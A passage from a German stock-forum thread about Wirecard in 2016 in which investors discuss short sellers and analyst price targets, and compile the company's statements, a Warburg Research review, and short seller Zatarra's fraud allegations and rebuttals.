      Der Zahlungsverkehrs-Abwickler Wirecard(WDIG.DE) wirft der Schutzgemeinschaft der Kapitalanleger (SdK) Marktmanipulation und Insiderhandel vor. (...)
      Die Kritik der Aktionärsvereinigung am Wirecard-Vorstand wegen irreführender Bilanzierung sei somit von Eigeninteresse geprägt gewesen, hieß es.

      Dass es bereits in den Jahren zuvor Kritik an den Abschlußberichten gab, wurde völlig unter den Tisch gekehrt. Wirecard hat die Institution SdK angegriffen für ein Fehlverhalten einzelner Personen der Institution. Das wäre, als würde man der Wirecard vorwerfen, sie würde sich beteiligen an illegalen geldtransfers, nur weil einer ihrer Mitarbeiter...
      Oder???
      Avatar
      schrieb am 01.12.16 19:11:00
      Beitrag Nr. 220 ()
      Ja... Dieses jahr war das ein Kaffeekränzchen... Das wunderte mich sehr. Aber ich nehme an, dass alle irgendwie so geschockt waren von dem Kurseinbruch im Februar und im Juni erleichtert über den Rebound, dass keiner auch nur irgendeine Kritik äußern wollte, wissend, wie fragil der Erhgolungskurs da noch war. Man kämpfte damals mit den 40€ (und es herrschte allenthalben großer Optimismus, dass man dieses Niveau schnell verlassen würde...)
      Im Mai dachten viele, der Spuk wäre schnell vorbei:
      Zitat von Yami-Go: Guten Morgen an all, ich denke das es hier im Wirecardforum bei Wo sicher bald wieder normal zugeht
      Die 40 wurde geschafft und das Niveau war gewohnt hoch:
      Zitat von Yami-Go: Schreib deinen Schwachsinn doch an irgendwelche Toilettentüren oder an deinen Kumpel.
      Von mir kam eine bedingte Kapitulation
      Zitat von jigajig: Alle diejenigen, die 2008 und 2010 schon Vergleichbares erlebt haben, wissen, wie es ausgegangen ist. Wirecard hat sich 2016 anders verhalten als damals, ich war der Überzeugung, dass Markus Braun sich FALSCH verhalten hat und andere hier haben mir widersprochen. Der heutige Tag gibt ihnen Recht und ich habe genug Eier in der Hose, dies vollumfänglich einzuräumen.
      Die Berufung einer weiteren anerkannten Spezialistin aus dem Bankwesen in den AR ist ein dickes Ausrufezeichen.
      Natürlich regt dies Spekulationen im positiven Sinne an und mit der SAP-Geschichte verdoppelt man das noch (...) Aber auch ohne diese ad-hoc passiert derzeit wirklich eine beachtliche Erholung. Es hat lange genug gedauert.(...) Wenn die Leerverkäufer jemals rausgehen sollten, könnte man klarer sehen. Bis dahin bleibt (für mich!) immer noch alles etwas unklar.
      11.5.
      Griullphantasien
      Zitat von invest_dd: Verschnaufpause??? Der Grill ist erst gerade an!
      Oder was meint Ihr?
      Meine Meinung.

      am 11.5. jigajig zu lv
      Zitat von jigajig: und gleich noch eine Frage hinterher: Ein Leerverkäufer kann doch nur (im Normalfall) Gewinn machen, wenn er seine LV-Position öffnet und dann später zu einem niedrigeren Preis kauft. Das heißt aber doch, dass es bald überhaupt nicht mehr möglich ist, Gewinne mit den LV-Positionen zu machen.

      Wäre der vielfach beschworene Shortsqueeze (allein) Grund für den rasanten Anstieg der letzten Tage, müsste man das doch aber irgendwann an den LV-Quoten sehen. Alle nach Zatarra gekauften LV-Positionen sind doch bereits heute fett im Minus und nur noch die zwischen September 2015 und Zatarra eröffneten Positionen können teilweise noch im Plus sein.
      Ich sehe nirgends eine sinnvolle Strategie der LV, zumindest nicht im Sinne der "üblichen" Strategie, an fallenden Kursen zu profitieren.
      Wo ist mein Denkfehler?
      Mir kommt es nach wie vor plausibler vor, eine vom "üblichen" LV-Denken abweichende Strategie zu vermuten. Nur: welche??? Wird etwa eine Art "Scheinbewegung" des Kurses erzeugt? Aber mit welchem Zweck?


      Kritik an Zatarra, jigajig, 11.5.16
      Zitat von jigajig: ich wollte Zatarra immer schon fragen, wie ernst sie dieses Kursziel gemeint haben und wie fest sie hinter den SCHLUSSFOLGERUNGEN in ihrem ersten Bericht standen bzw. stehen.
      Denn als objektivem Beobachter ist mir natürlich aufgefallen, dass Zatarra nach dem ersten Bericht nie wieder die Schlußfolgerungen angesprochen hat, sondern stets nur die Belege ("we stand to our EVIDENCE" und nicht "we stand to our CONCLUSIONS". Wenn ich Zatarra böse Absicht unterstellen wollte, würde ich darauf achten. Denn die SCHLUSSFOLGERUNGEN führten IMHO zum Kursrutsch, nicht die BELEGE/BEWEISE. Das ist definitiv mehr als ein Streit um des Kaisers Bart. Es ist überhaupt der einzige Vorwurf, den man Zatarra machen kann - und zwar von Anfang an.


      Zitat von Stilles_Wasser: Die Gluthitze steigt im Shortie-Grill mit jedem Euro, den es aufwärts geht.
      Ich habe kein Mitleid.
      Wer ein unbekanntes Analysehaus mit dem witzigen Kursziel "Null" als Entscheidungsgrundlage nimmt und sich gegen nahezu alle renomierten Analysten und gegen Bilanzzahlen positioniert, hat Glücksspiel betrieben.


      svabo bringt die 50€ ins Gespräch (für LV)
      Zitat von Svabo: Von daher kann es durchaus sein, dass es bis 50 € hochgeht ohne dass ein nennenswerter ShortSqueeze stattgefunden hat, weil die Shorties alle aufgrund entsprechenden finanziellen Ausstattungen und entsprechend langfristigen Leihverträgen gar keine Not haben kurzfristig zu verkaufen und sie Wirecard vielleicht auf 2 Jahressicht als Underperformer sehen.


      am 11.5. um 15:30 hatte der Thread 6666 Aufrufe...

      interessanter chart
      Zitat von Der Tscheche: Ich komme nur auf zwei parallele Aufwärtstrends, bei denen der erste durch den Kurssturz vor ein paar Wochen erst kreiert worden ist, weil der Tiefpunkt den dritten Auflagepunkt bildet. Der zweite ist noch lange nicht wieder erreicht, geschweige denn überwunden:




      währtend der Wirecardistenbegeisterung machte jigajig eine Kerbe
      Zitat von jigajig: womit man die nächste Kerbe machen kann: Martin Lottery :)


      Zitat von jigajig: Mir reicht es, Stück für Stück aufzuzeigen, dass Markus Braun ohne jede Not die Büchse der Pandora geöffnet hat, weil er alles als Lüge hingestellt hat und dies bis heute nicht zurück genommen hat. Wenn das irrelevant ist und bleibt für den sich (faktisch zurecht erholenden) Aktienkurs, wird nichts passieren. Wenn es relevant werden würde, bin ich gespannt, was passiert.


      invest_dd geht raus
      Zitat von invest_dd: Bin gestern in der Spitze raus. Könnte mich ärgern, da es momentan sehr gut aussieht. Ich habe das Gefühl, der Ball fängt erst jetzt an zu rollen.

      Leider funktioniert die "Gehirnwäsche", die man hier (" unsere Experten") bekommt. Ich verfolge die Börse etwas länger, kenne Fälle wie MCI Worldcom oder Enron.
      Avatar
      schrieb am 01.12.16 19:58:04
      Beitrag Nr. 221 ()
      1.12.2016


      Commerzbank: „Buy“ – 65,00 Euro (+54 %)
      Hauck & Aufhäuser: „Buy“ – 64,00 Euro (+52 %)
      Baader Bank: „Buy“ – 62,00 Euro (+47 %)
      Warburg Research: „Buy“ – 60,00 Euro (+43 %)
      Goldman Sachs: „Conviction Buy List“ – 58,00 Euro (+38 %)
      Barclays: „Overweight“ – 58,00 Euro (+38 %)
      Berenberg: „Buy“ – 58,00 Euro (+38 %)
      Lampe: „Kaufen“ – 58,00 Euro (+38 %)
      HSBC: „Buy“ – 57,00 Euro (+35 %)
      DZ Bank: „Kaufen“ – 56,50 Euro (+34 %)
      Kepler Cheuvreux: „Buy“ – 54,00 Euro (+28 %)
      Independent Research: „Kaufen“ – 54,00 Euro (+28 %)
      Oddo Seydler: „Buy“ – 45,00 Euro (+7 %)
      Deutsche Bank: „Hold“ – 42,00 Euro (0 %)
      Credit Suisse: „Underperform“ – 38,00 Euro (-10 %)
      Citigroup: „Neutral“ – k.A. (k.A.)
      Avatar
      schrieb am 01.12.16 20:32:57
      Beitrag Nr. 222 ()
      ...wer verleiht Aktien an die Shorts...


      Man wird es nie wissen :(

      was anderes: Kursziele

      Man sollte zwischendurch auch mal wieder an die Analysen erinnern:

      Commerzbank: „Buy“ – 65,00 Euro (+54 %)
      Hauck & Aufhäuser: „Buy“ – 64,00 Euro (+52 %)
      Baader Bank: „Buy“ – 62,00 Euro (+47 %)
      Warburg Research: „Buy“ – 60,00 Euro (+43 %)
      Goldman Sachs: „Conviction Buy List“ – 58,00 Euro (+38 %)
      Barclays: „Overweight“ – 58,00 Euro (+38 %)
      Berenberg: „Buy“ – 58,00 Euro (+38 %)
      Lampe: „Kaufen“ – 58,00 Euro (+38 %)
      HSBC: „Buy“ – 57,00 Euro (+35 %)
      DZ Bank: „Kaufen“ – 56,50 Euro (+34 %)
      Kepler Cheuvreux: „Buy“ – 54,00 Euro (+28 %)
      Independent Research: „Kaufen“ – 54,00 Euro (+28 %)
      Oddo Seydler: „Buy“ – 45,00 Euro (+7 %)
      Deutsche Bank: „Hold“ – 42,00 Euro (0 %)
      Credit Suisse: „Underperform“ – 38,00 Euro (-10 %)

      im Mai 2015 gab es folgende Kursziele:

      14.05.15 11:13 Buy 59,00 EUR 38,92 EUR GOLDMAN SACHS Moawalla, Mohammed
      14.05.15 08:18 Buy 48,00 EUR 38,90 EUR BERENBERG Munda, Gal
      13.05.15 16:03 Buy 45,00 EUR 39,11 EUR ODDO SEYDLER Pucker, Oliver
      13.05.15 12:18 Neutral 40,50 EUR 39,61 EUR HAUCK & AUFHÄUSER Dannenberg, Lars
      13.05.15 12:14 Buy 46,00 EUR 39,61 EUR KEPLER CHEUVREUX Sztabowicz, Sebastien
      12.05.15 15:13 Buy 51,00 EUR 38,50 EUR WARBURG RESEARCH Reichert, Jochen
      07.05.15 10:41 Buy 47,00 EUR 35,13 EUR HSBC Baudry, Antonin

      Das waren die Ziele im Mai 2015 (Kurse so um die 40)

      Die Kurse im Mai 2016 waren bei 38-42. Unverändert quasi. Da lagen einige ja ganz schön daneben...
      Der Jahreshöchststand war 47€ - da lagen Berenberg, Oddo, Kepler und HSBC wenigstens richtig.
      Hauck mit 40,5 - die haben heute ein Kursziel von 64.

      deren aktuelle Analysen sind:
      HSBC 48-->57
      Berenberg 48 -->58
      Oddo 45 --> 45
      Kepler 46-->54
      Das sind im Schnitt 53,5€ irgendwann in den nächsten 12 Monaten - ggü. heute wären das 30% Plus. Eigentlich müssten sich alle um die Aktie reißen! (Es passt zu EmBrantis Prognose von "51-55 auf 6-12 Monate" und auch zu jigajigs ursprünglicher Prognose von ca. 52-54 bzw 49+x)

      Aber komplizierter wird es, wenn man die Kursziele im Herbst 2015 anschaut... Die sind nämlich, freundlich ausgedrückt, leicht falsch gewesen...

      Hauck-Aufhäuser 62,50 (29.10.2015)
      Warburg 51 (19.11.15)
      Commerzbank 55 (ende Nov 2015)
      HSBC 53 (ende nov 2015)
      Metzler 45 (sept 2015)
      Börse-Online (4.12.15) 53
      Von insgesamt 17 der 23 beim Börsendienstleister Bloomberg gelisteten Analysten empfehlen Wirecard zum Kauf. Deren Kursziele liegen zwischen 50 und 55 Euro und könnten während der nächsten Tage erhöht werden.

      Die Ausgangslage ist also ähnlich wie 2015 und die Kursziele auch. Es war ein verlorenes Jahr! Anders herum: wer zu spät kam, darf noch einmal auf 30% Kursgewinn hoffen in den nächsten 12 Monaten.
      Avatar
      schrieb am 03.12.16 19:52:52
      Beitrag Nr. 223 ()
      Chronologie der Widerlegungen
      Teil 1: Morgan Stanley Erklärung vom 1. März (mit Anmerkungen von Zatarra)



      Kommentar von zatarra am 7. März:

      "Wirecard Changes its Story"

      Initially, Wirecard denied any awareness of the existence of Wire Card UK Ltd and any links
      to Wire Card UK Ltd by any former or current employees. Morgan Stanley went as far to reveal this statement in its note, "Addressing Concerns", published on March 1, 2016.
      Now Wirecard states that it did incorporate Wire Card UK Ltd.
      (...)
      Wirecard's management have moved from denying any involvement or even awareness of Wire Card UK Ltd to now confirming that it did incorporate Wire Card UK Ltd.
      Wirecard changed its version of events AFTER we presented the incontrovertible evidence
      easily obtained from UK Companies House."

      Teil 2: Die Mail von Iris Stöckl (Anfang März)

      1. As one of the world’s leading online payment companies, Wirecard has
      excellent relations with all credit card organisations. It is an active licensee/member 220
      of such organisations through its regulated entities in the UK and Germany, and
      has been for more than a decade. Further to its role as an acquirer and issuer for
      various credit card organisations, Wirecard holds strategic partnerships with these
      card organisations and has acquired assets and subsidiaries from them.
      2. Wirecard continuously discloses the nature of the transaction volumes
      processed by the company and the revenues related to each client industry
      segment in its audited annual reports. Online gambling transactions solely originate
      from regulated online gambling operators and volumes constitute about 7% of
      Wirecard’s total transaction volumes. They are aggregated under the ‘digital goods’
      segment of Wirecard’s public reporting. Any claim that Wirecard obfuscates 230
      payment jurisdiction and associated merchant risk, to circumvent high risk
      categorization and authentication requirements within the credit card organisation
      networks, is wrong. Wirecard’s compliance and merchant account setup
      procedures are repeatedly audited by regulatory bodies as well as the credit card
      organisations themselves. The allocation of country and merchant category codes
      to individual merchant accounts is conducted fully in accordance with all regulatory,
      tax and credit card organisation rules.
      3. Wirecard has never acquired Krores from Mr Knöchelmann, Mr Trautmann or
      any other party. Wirecard also does not have any business relationship with Krores.
      4. Since the departure of Dietmar Knöchelmann and Rüdiger Trautmann, 240
      Wirecard has no direct or indirect business dealings or relationship with either
      individual.
      Wirecard has no direct or indirect business dealings with Inatec GmbH.
      Mr Knöchelmann is not involved in any legal cases involving Wirecard or any of its
      subsidiaries.
      5. Wire Card UK Limited (company number 05888415) was incorporated on 27
      July 2006. This was for the purpose of establishing a subsidiary for Wirecard in the
      UK but in the end other decisions were made. In its whole lifetime it was a dormant
      company which was never operational. It was dissolved on 17 August 2010.

      6. With recards to the Schütt case, in 2010 the online portal Goldman, 250
      Morgenstern & Partners (“Gomopa”) published a report falsely claiming that Mr
      Michael Schütt, in his testimony to US authorities, named Wirecard as an ally in his
      money laundering scheme for gambling companies. Several investigations by
      journalists have entirely cleared both Wirecard and Mr Trautmann in rela tion to
      Gomopa’s false claims. Gomopa’s claims were entirely fraudulent and made solely
      to manipulatively drive down Wirecard’s stock price. For an example of this, please
      see the Handelsblatt article available via the link:
      http://www.handelsblatt.com/finanzen/maerkte/boerseinside/ma… (an English translation can be
      made available upon request) Gomopa’s reputation for questionable business 260
      practices is well known.
      7. Mr Usman Fayaz was neither directly nor indirectly a shareholder of any of the
      companies at the time of the purchase of the payment business of GI Retail Group.
      Neither GI Technologies nor Hermes have ever been involved in any form of lottery
      or gaming business. GI Technologies is India’s leading domestic money remittance
      operator and regulated by the Reserve Bank of India (RBI). It is regularly audited by
      the regulator and applies rigorous KYC and compliance procedures to its
      remittance operations. The corporate fraud which is referred to is in respect of the
      company Popular Agro Farms Pvt Ltd, which has nothing at all to do with Wirecard
      or GI Retail. 270
      8. Wirecard has never acquired Asia Pacific E-Serv Corporation (aspaconline).
      Wirecard Asia Pacific, Philippines was a newly established company in 2007 and
      was dissolved in 2012.
      Mr Magleo's incorrect CV was updated on the website of Paynamics, Philippines.
      Mrs Magleo headed the finance department of Wirecard Asia Pacific, Inc. during its
      time of operation. She was not involved in any legal cases involving Wirecard or her
      past activities as an officer of a subsidiary of Wirecard.
      9. Wirecard has never hosted any content websites or any other merchant
      business model.
      Avatar
      schrieb am 03.12.16 20:03:57
      Beitrag Nr. 224 ()
      Chronologie der Widerlegungen, Teil 3:
      Warburg-Statement
      darin wird die Mail von iris zitiert - nur falls jemand zweifeln sollte. Der Schreibfehler ("recards") wurde korrigiert:

      "In an email statement, Wirecard wrote: “With regards to the Schütt case, in 2010 the online portal Goldman, Morgenstern & Partners (“Gomopa”) published a report falsely claiming that Mr Michael Schütt, in his testimony to US authorities, named Wirecard as an ally in his money laundering scheme for gambling companies. Several investigations by journalists have entirely cleared both Wirecard and Mr Trautmann in relation to Gomopa’s false claims. Gomopa’s claims were entirely fraudulent and made solely to manipulatively drive down Wirecard’s stock price. For an example of this, please see the Handelsblatt article available via the link: http://www.handelsblatt.com/finanzen/maerkte/boerseinside/ma… ht-untersucht-kursachterbahn-beiwirecard/3406252.html. Gomopa’s reputation for questionable business practices is well known.”

      "Third, what remains is the question why Trautmann and Brinkmann incorporated two Swiss companies together with Mr Suter while they were working for Wirecard? Furthermore, we found another Swiss company (Istart GmbH) which is owned by Ruediger Trautmann. Furthermore, we have no real feeling for that – are the activities of Wirecard employees really unusual compared to other listed companies? We haven’t checked that.
      We spoke with Wirecard about the issue. If we understood Wirecard correctly, Wircard would deal with its employees like that:
      Wirecard ensures that employees use their work-time completely for Wirecard.
      Wirecard assures that there are no conflicts of interests, mainly in two ways. Employees are not allowed to invest in competitive businesses. Moreover, employees should not invest or should not have business relations to existing and potential customers.

      Trautmann’s indicated connection to some Irish companies
      The “report” mentions three Irish companies (FX Currency Services, Forex Trading Platform Limited, Roteral limited) in which at least one of the persons, Ruediger Trautmann (board member of Wirecard AG between 2005-2010), Dietmar Knoechelmann (Wirecard Payment Solutions) or Andy Quinn (Wirecard Payment Solutions), had been officers while they were working for Wirecard. Based on our research in the commercial register of Ireland, this information is correct. We think that those companies are rather related to private matters.
      In our view, these single facts seem to be no real evidence for any activities in money laundering.
      At most, however, they again raise the question, why Mr Trautmann, partially together with other Wirecard employees, was involved in a couple of other companies while he was member of the Wirecard board. Wirecard’s respond to our question (if we understood it correctly) we described above.

      ...

      Bluetool, Wire Card, Krores, Oval 2123
      Based on our research, there was a company named Wire Card Ltd., incorporated in 2006 and dissolved in 2010. It was owned by Fermoya, a company registered in the British Virgin Islands, and B.M.I.E., a UK-based company. Furthermore, there is an officer listed by the name of Ruediger Trautmann, the former Wirecard board member, and the company secretary’s name is Bournewood, another company registered in the British Virgin Island.
      It should be mentioned that the share capital was GBP 2. Furthermore, Wirecard said it incorporated Wire Card as a shell which was never used. Furthermore, the commercial register showed Wire Card UK limited as “dormant”.
      The information provided above is shown in the “report”.
      Furthermore, as written at the beginning of our note, Bluetool Ltd had obviously a bank account at Wirecard Bank in 2010. In 2010, based on our findings, Bluetool made a wire transfer of roughly EUR 6m to Mr Schuett, the person who was prosecuted in the U.S. for money laundering related to illegal gambling transactions. The commercial register shows that Bluetool had the same professional service companies, Fermoya (“owner”) and Bournewood (company secretary, professional registrar). These findings are correct, based on our verifications by searching in publicly available data.


      ...

      Wirecard said that Wire Card UK was incorporated on behalf of Wirecard for the purpose of establishing a subsidiary for Wirecard in the UK, but other decisions were made. It was a dormant company during its entire life and never was operational.
      Should we really conclude from Bluetool and Wire Card having had the similar corporate structure that Wirecard is involved in operating a network of shadow and shell companies to process illegal transactions?
      What we cannot really evaluate: Is it rather usual to take a nominee as an owner, especially a firm which is registered on the British Virgin IslandsT
      Tbecause if Bournewood and Fermoya are just used by professional service or consultancy companies to provide company formation services, the indicated connection between Wirecard-Bluetool and Wirecard-Bluemay could potentially easily be explained, in our view.

      ...

      There is something, however, which could potentially make it complicated: Based on our findings, a person named Vineet Katial was an officer, too. He is also listed as an officer at two other dormant UK companies, Vistamoney Ltd and Vista Money Money

      ...

      In our view it would be very helpful, if Wirecard could shed some light on the question, why Trautmann was an officer at Krores UK together with a person (Katial) who seems potentially to be involved in competitive payment businesses (while he was a board member of Wirecard AG).


      ...

      USA AG Inc. was one of the major companies which operated the network of shadow companies. As written in the Zatarra report, this company was incorporated by Michael Schuett (we checked this information in the commercial registers in Florida). Another U.S. based company was involved in the money laundering system, International Payment Systems, in which Mr Schuett (via USA AG Inc.) and a person named Freddy Kalder (Wiesbaden, Germany) had been officers, based on our findings in the company registers of Florida. Then, Freddy Kalder was involved in the incorporation of a company in the UK, Deutsche Zahlungsverkehrsgesellschaft Ltd. This information, as written in the Zatarra report, again is correct.
      However, when reading the Zatarra report one might get the impression that Kalder, who was involved in money laundering together with Schuett in the U.S., incorporated the German company EZV, Gesellschaft für Zahlungssysteme mbH, which is a cooperation partner of Wirecard. Based on our findings here, the Zatarra report could easily be misinterpreted in our view.

      (...)

      Firstly – the conclusion cannot be just yes or no, true or false. Secondly – until now, we haven’t checked all the data. For example, we haven’t done a closer look on the allegations about “Asia” until now.
      Thirdly - our findings show that a lot of information and data which is written in the Zatarra report can be verified by some research work. However, and this is the key question: Should the connections and conclusions made by Zatarra just be ignored?
      A high part of concerns and insecurity would potentially disappear if Wirecard could provide some more colour why Wirecard used Fermoya (even that Wire Card hadn’t any economic relevance) and why we observed quite a lot of incorporations by Mr Trautmann while he was a board member of Wirecard.

      Quelle: "Attempt to verify facts and separate them from questions", Jochen Reichert
      Avatar
      schrieb am 03.12.16 20:05:35
      Beitrag Nr. 225 ()
      Chronologie der Widerlegungen, Teil 4:

      englisches Statement, Stand ca. 10. März
      (Quelle: wirecard.de / 10.3.16)


      Die deutsche Sprachversion ist in Kürze verfügbar.
      Wirecard statement concerning the reports published by a dubious source containing untrue and slanderous allegations: The report is without any substance and we assume the report has been spread to negatively influence our share price. Legal action has been initiated.
      Despite the reports distinct lack of credibility, Wirecard has spent significant time and effort reviewing the report and the allegations it makes and determined that the report is totally false. Below you will find answers in detail to a number of the points raised.
      Wirecard has always supported strengthened regulation of the internet payment industry, with strict compliance to protect consumers, merchants and the industry from any form of misconduct. It was the first Payment Service Provider (PSP) to hold a full banking licence, as early as 2006. Being a regulated entity involves extensive regulatory oversight and enforces the application of strict compliance procedures to the company’s operations. Since Wirecard acquired its full banking licence, the European Union has introduced a regulatory framework that has required Wirecard’s competitors to apply for licences and to become subject to regulatory oversight. Wirecard’s German banking licence and the regulatory regime which that entails shows that Wirecard operates under one of the most extensive and strictest regulatory environments in Europe.
      1. As one of the world’s leading online payment companies, Wirecard has excellent relations with all credit card organisations. It is an active licensee/member of such organisations through its regulated entities in the UK and Germany, and has been for more than a decade. Further to its role as an acquirer and issuer for various credit card organisations, Wirecard holds strategic partnerships with these card organisations and has acquired assets and subsidiaries from them.
      2. Wirecard continuously discloses the nature of the transaction volumes processed by the company and the revenues related to each client industry segment in its audited annual reports. Online gambling transactions solely originate from regulated online gambling operators and volumes constitute about 7% of Wirecard’s total transaction volumes. They are aggregated under the ‘digital goods’ segment of Wirecard’s public reporting. Any claim that Wirecard obfuscates payment jurisdiction and associated merchant risk, to circumvent high risk categorization and authentication requirements within the credit card organisation networks, is wrong. Wirecard’s compliance and merchant account setup procedures are repeatedly audited by regulatory bodies as well as the credit card organisations themselves. The allocation of country and merchant category codes to individual merchant accounts is conducted fully in accordance with all regulatory, tax and credit card organisation rules.
      3. Wirecard has never acquired Krores and does not have any business relationship with Krores.
      4. Wirecard has no direct or indirect business dealings with Inatec GmbH.
      5. Wire Card UK Limited (company number 05888415) was incorporated on behalf of Wirecard AG by an incorporation office on 27 July 2006. This was for the purpose of establishing a subsidiary for Wirecard in the UK but in the end other decisions were made. In its whole lifetime it was a dormant shell company which was never operational nor was at any time owned by Wirecard Group. It was dissolved on 17 August 2010. The initial registration address of Wire Card UK was defined by the incorporation service, it was never changed because the company never became operative, if it would have become operative in any way of course the address would have been changed to a Wirecard address. The fact that the address was a residential address is out of our area of responsibility and influence.
      6. Bluetool Limited was never directly nor indirectly part of Wirecard Group.
      7. Mr Usman Fayaz was neither directly nor indirectly a shareholder of any of the companies at the time of the purchase of the payment business of GI Retail Group. Neither GI Technologies nor Hermes have ever been involved in any form of lottery or gaming business. GI Technologies is India’s leading domestic money remittance operator and regulated by the Reserve Bank of India (RBI). It is regularly audited by the regulator and applies rigorous KYC and compliance procedures to its remittance operations. The corporate fraud which is referred to is in respect of the company Popular Agro Farms Pvt Ltd, which has nothing at all to do with Wirecard or GI Retail.
      8. Wirecard has never acquired Asia Pacific E-Serv Corporation (aspaconline). Wirecard Asia Pacific, Philippines was a newly established company in 2007 and was dissolved in 2012.
      9. Wirecard has never hosted any content websites or any other merchant business model.
      Avatar
      schrieb am 03.12.16 20:13:18
      Beitrag Nr. 226 ()
      Chronologie der Widerlegungen:

      Deutsche Antwort zatarras auf die Widerlegung von wirecard (darin enthalten die deutsche Fassung mit den Zusatzpunkten 10 und 11)

      Wirecard hat Investoren, Analytikern und den Medien falsche und irreführende Aussagen zur
      Verfügung gestellt. Die Erklärungen von Wirecard auf die Feststellungen von Zatarra sind so
      leicht als falsch und irreführend zu entlarven, dass Wirecard ein kontinuierliches Backtracking
      zu seinen eigenen Aussagen benötigte.
      Die Hoffnung von Wirecard ist, dass die Mehrzahl dieser Empfänger die Berichte von Zatarra
      nicht gelesen hat und die darin enthaltenen Beweise nicht kennen. Denn wenn sie das getan
      hätten, würden sie schnell die falschen und irreführenden Elemente von Wirecards
      „Gegendarstellung“ entlarven und die Bedeutung der bereitgestellten Beweise verstehen.
      Ganz einfach - weder Wirecard noch einer der Förderer war in der Lage, die umfangreichen,
      dokumentierten und öffentlich zugänglichen Beweise, die Zatarra vorgelegt hat, zu widerlegen.
      Zatarra ermutigt Wirecards Investoren, Analytiker und die Medien, sich mit den
      niederschmetternden Beweisen vertraut zu machen, weil dies erst der Anfang ist.
      Sie finden die Antwort von Zatarra unten stehend in Rot, die beweist, dass die
      „Gegendarstellung“ von Wirecard falsch und irreführend ist.


      1. Als eine der führenden Online-Zahlungsunternehmen, besitzt Wirecard hervorragende
      Beziehungen zu allen Kreditkartengesellschaften. Wirecard ist durch seine beaufsichtigen
      Unternehmen in Großbritannien und Deutschland seit mehr als einem Jahrzehnt ein
      aktiver/aktives Lizenznehmer/Mitglied dieser Unternehmen. Neben seiner Rolle als Acquirer
      und Issuer für verschiedene Kreditkartenunternehmen, unterhält Wirecard strategische
      Partnerschaften mit diesen Kartenunternehmen und hat von ihnen Vermögenswerte und
      Tochtergesellschaften erworben.
      2. Wirecard legt kontinuierlich in seinen geprüften Jahresberichten die Natur der
      Transaktionsvolumina, die durch das Unternehmen abgewickelt werden, sowie die gemachten
      Umsätze, die mit jedem Kundensegment in Verbindung stehen, offen. OnlineGlücksspieltransaktionen stammen ausschließlich von beaufsichtigten OnlineGlücksspielbetreibern und die Volumina machen ca. 7 % des Gesamtvolumens von Wirecard
      aus. Sie werden in der öffentlichen Berichterstattung von Wirecard unter dem Segment
      „digitale Güter“ geführt. Jede Aussage, dass Wirecard die Zahlungsjurisdiktion und das
      verbundene Handelsrisiko verdunkelt, um der Hochrisikokategorisierung und
      Authentifizierungsanforderungen innerhalb des Netzwerks der Kreditkartenunternehmen zu
      umgehen, ist falsch. Die Compliance von Wirecard sowie die Verfahren zum Einrichten eines
      Händlerkontos werden wiederholt von Aufsichtsbehörden und den Kreditkartengesellschaften
      selbst geprüft. Die Zuordnung von Codes für Länder- und Händlerkategorien zu individuellen
      Händlerkonten wird in voller Übereinstimmung mit allen behördlichen und steuerlichen
      Regeln und Vorschriften der Kreditkartenunternehmen durchgeführt.

      Zatarra hat das gesamte Geschäftsmodell von Wirecard geprüft. Dieses Modell ist abhängig
      von Hochrisiko- oder illegalen Zahlungen, bei denen Quelle, Händler und Ländercodes
      verdunkelt werden, um das Abwickeln dieser Zahlungen sicherzustellen.
      Wirecard gründete seine Geschäftstätigkeit auf das Abwickeln von Zahlungen, die mit OnlineGlücksspiel in den Vereinigten Staaten zusammenhängt (dies verstößt keinesfalls gegen die
      Verjährung). Dies hat dazu geführt, dass das Abwicklen weiterer Hochrisiko- und illegalen
      Zahlungen auch in andere Jurisdiktionen ausgeweitet wurde. Um dies zu erreichen, erschufen

      enge Geschäftspartner von Wirecard zahlreiche fingierte Händler, um die Rechnungsdaten auf
      den Kundenrechnungen von Poker-Unternehmen zu verdunkeln.
      Bei der Übernahme der Unternehmensgruppe Gateway Group für ca. 43 Millionen € übernahm
      Wirecard mehrere Abwickler von Full Tilt's Online-Poker-Glücksspiel. Zur gleichen Zeit
      kontrollierte Markus Pfeiffer (der mit ebs Holding, der früheren holdinggesellschaft von
      Wirecard verbunden ist und Markus Braun, dem CEO von Wirecard) die fingierten Händler
      wie Axxis, dessen Daten auf der Kundenrechnung erschienen, um die Natur der PokerTransaktionen zu verheimlichen.
      Es ist wichtig für die Aktionäre von Wirecard zu begreifen, dass dies in Asien passiert ist und
      auch weiterhin passiert. Ebenso wie, dass Wirecard nicht aus freien Stücken gestoppt hat. Black
      Friday war ein vernichtender Schlag für alle Beteiligten und führte dazu, dass Wirecard seine
      Haupteinnahmequelle aus dem Abwickeln von Online-Pokerspiel im wahrsten Sinne des
      Wortes über Nacht verlor.
      Seit 2011 wickelt Wirecard mit Poker in Zusammenhang stehende Transaktionen in den
      Vereinigten Staaten ab und Zatarra hat dies in seinen Nachforschungen bewiesen und den
      Behörden weitere Beweise geliefert. Wirecard wandte sich verstärkt in den asiatischpazifischen Raum, um seine betrügerischen Tätigkeiten fortzusetzen.
      Zatarra hat bewiesen, dass die Beteiligungsunternehmen von Wirecard Asia Pacific seinen
      Händlerkunden im asiatisch-pazifischen Raum europäische Unternehmensdienstleistungen
      anbietet.
      Zum Beispiel war Arnold Marcellana der Risk- und Compliance-Officer von Wirecard Asia
      Pacific. Wirecard hat jegliche Verbindung zu Marcellana abgestritten, obwohl Marcellana eine
      nachprüfbare Wirecard-E-Mail-Adresse besitzt und er Domainnamen mit seinen eigenen
      persönlichen Angaben sowie denen von Wirecard, einschließlich Postleitzahlen,
      Rechnungskontakt und E-Mail-Adressen, registriert hat.
      Ähnlich wie die betrügerischen Praktiken, die Wirecard zum Abwickeln von OnlineGlücksspielzahlungen in den Vereinigten Staaten agewendet hat, war Marcellana damit
      beauftragt, assoziierte Unternehmen, Uni-Channel, Worldnetpay usw. zu gründen, die den
      Händlerkunden von Wirecard Asia Pacific die vorgetäuschten Dienstleistungen zur
      Unternehmensbildung anboten. Hochrisikohändler im asiatisch-pazifischen Raum
      verdunkelten ihre Rechnungsdaten mit Hilfe der vorgetäuschten europäischen
      Unternehmensbildung, um als risikoarmer Händler in einem risikoarmen Land zu erscheinen.
      Dies steht im Widerspruch zu den Betriebsvorschriften von Visa und MasterCard sowie
      internationalen aufsichtsbehördlichen Vorschriften und Gesetzen.
      Zatarra besitzt Beweise bzgl. weiterer Unternehmen und Angestellten und Mitarbeitern von
      Wirecard, die an dieser Praxis beteiligt sind, die zu gegebenem Zeitpunkt offengelegt werden.


      3. Wirecard hat Krores nicht übernommen und besitzt keinerlei Geschäftsbeziehungen zu
      Krores.
      Papier ist geduldig. Leitende Wirecard-Mitarbeiter haben routinemäßig
